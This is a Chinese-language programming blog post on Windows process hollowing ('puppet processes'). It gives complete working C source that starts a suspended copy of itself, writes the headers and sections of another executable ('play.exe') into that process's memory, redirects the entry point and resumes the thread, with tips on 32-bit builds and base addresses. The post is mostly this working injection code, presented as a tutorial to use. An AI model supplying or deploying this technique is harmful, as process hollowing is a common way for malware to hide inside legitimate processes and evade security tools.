创建傀儡进程

本文主要是介绍创建傀儡进程，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

折腾好久，总算完成了自己第一次的傀儡进程编写。
效果:使当前进程创建一个子进程（同名）
掏空子进程，注入任何自己编写好的其他exe。

注意点
1.用来创建傀儡进程的父进程程序需要是32位程序，因为编码的程序本身就是win32控制台程序
2.注入到进程中的程序32位，64位都行
3.pe结构取值时一定一定要留心是否需要加基址。
4.注意权限问题，以及CreateProcess API的pszCurDir参数问题。

代码

#include<stdio.h>
#include<windows.h>
#include<winbase.h>
struct _PROCESS_INFORMATION ProcessInfomation;int main()
{	LPVOID pAlloc1;LPVOID pAlloc2;HANDLE hfile;PIMAGE_NT_HEADERS pPeHeader;PIMAGE_SECTION_HEADER pSectionHeader;int lastError,ReadInfo=0;DWORD BytesRead=0;CONTEXT Context={0};Context.ContextFlags=CONTEXT_ALL;char lpName[260];/以挂起的方式创建傀儡进程,并获取进程基址STARTUPINFOA StartupInfo={0};PROCESS_INFORMATION ProcessInfomation = {0};StartupInfo.cb=sizeof(StartupInfo);GetModuleFileName(0,lpName,260);if(!CreateProcess(lpName,NULL,0,0,0,CREATE_SUSPENDED,0,0,&StartupInfo,&ProcessInfomation))//ProcessInfomation返回该进程主线程的信息 倒数第三个参数 运行环境：pszCurDir 一定要留心。{lastError=GetLastError();printf("CreateProcess fail  LastError:%d\n",lastError);};if(!GetThreadContext(ProcessInfomation.hThread,&Context)){lastError=GetLastError();printf("GetThreadContext fail LastError:%d\n",lastError);};if(!ReadProcessMemory(ProcessInfomation.hProcess,(LPCVOID)(Context.Ebx + 0x8),&ReadInfo,4,0)){lastError=GetLastError();printf("GetProcessImageBase fail LastError:%d\n",lastError);};printf("ProcessImageBase:address 0x%x\n",ReadInfo);// 把准备注入到傀儡进程的程序读进内存hfile=CreateFile("play.exe",GENERIC_READ,0,0,OPEN_EXISTING,0,0);pAlloc1=VirtualAlloc(NULL,0x70000,0x3000,4);ReadFile(hfile,pAlloc1,0x70000,&BytesRead,0);pPeHeader=(PIMAGE_NT_HEADERS)((PBYTE)pAlloc1+((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);pSectionHeader=(IMAGE_SECTION_HEADER *)((char *)&pPeHeader->OptionalHeader + pPeHeader->FileHeader.SizeOfOptionalHeader);///向傀儡进程申请内存空间 SetLastError(0);pAlloc2=VirtualAllocEx(ProcessInfomation.hProcess,(LPVOID)pPeHeader->OptionalHeader.ImageBase,pPeHeader->OptionalHeader.SizeOfImage,0x3000,64);if(!pAlloc2){lastError=GetLastError();printf("VirtualAllocEx fail LastError:%d\n",lastError);TerminateProcess(ProcessInfomation.hProcess,0);return 0;}printf("AllocExBase: %x\n",pAlloc2);//写入PE头if(WriteProcessMemory(ProcessInfomation.hProcess,pAlloc2,pAlloc1,pPeHeader->OptionalHeader.SizeOfHeaders,0)){printf("write PeHeader Success !\n");}/写入节表，分节表写入会使得程序展开在进程中int NumofSection = pPeHeader->FileHeader.NumberOfSections;for(int i=0;i<NumofSection;i++){	LPVOID pAllocRawAddressSection=(char *)pAlloc1+pSectionHeader->PointerToRawData;LPVOID pAllocVirtualAddressSection=(char *)pPeHeader->OptionalHeader.ImageBase+pSectionHeader->VirtualAddress;if(WriteProcessMemory(ProcessInfomation.hProcess,pAllocVirtualAddressSection,pAllocRawAddressSection,pSectionHeader->SizeOfRawData,0)){printf("write the %d section success !\n",i+1);}else{lastError=GetLastError();printf("write the %d section fail ! lastError:%d\n",i+1,lastError);}pSectionHeader++;}///设置傀儡进程的进程基址0x400000if(WriteProcessMemory(ProcessInfomation.hProcess,(char *)Context.Ebx+8,&pPeHeader->OptionalHeader.ImageBase,4,0)){printf("set Process ImageBase is 0x400000  success !\n");}//设置傀儡进程的进程OEP 为注入程序的OEPContext.Eax=pPeHeader->OptionalHeader.ImageBase+pPeHeader->OptionalHeader.AddressOfEntryPoint;//设置入口点地址 一定别忘了加基址if(SetThreadContext(ProcessInfomation.hThread,&Context)){printf("set Thread Context success !\n");}//恢复线程运行if(ResumeThread(ProcessInfomation.hThread)!=(DWORD)-1){	lastError=GetLastError();printf("Resume Thread success ! \n");}system("pause");return 0;
}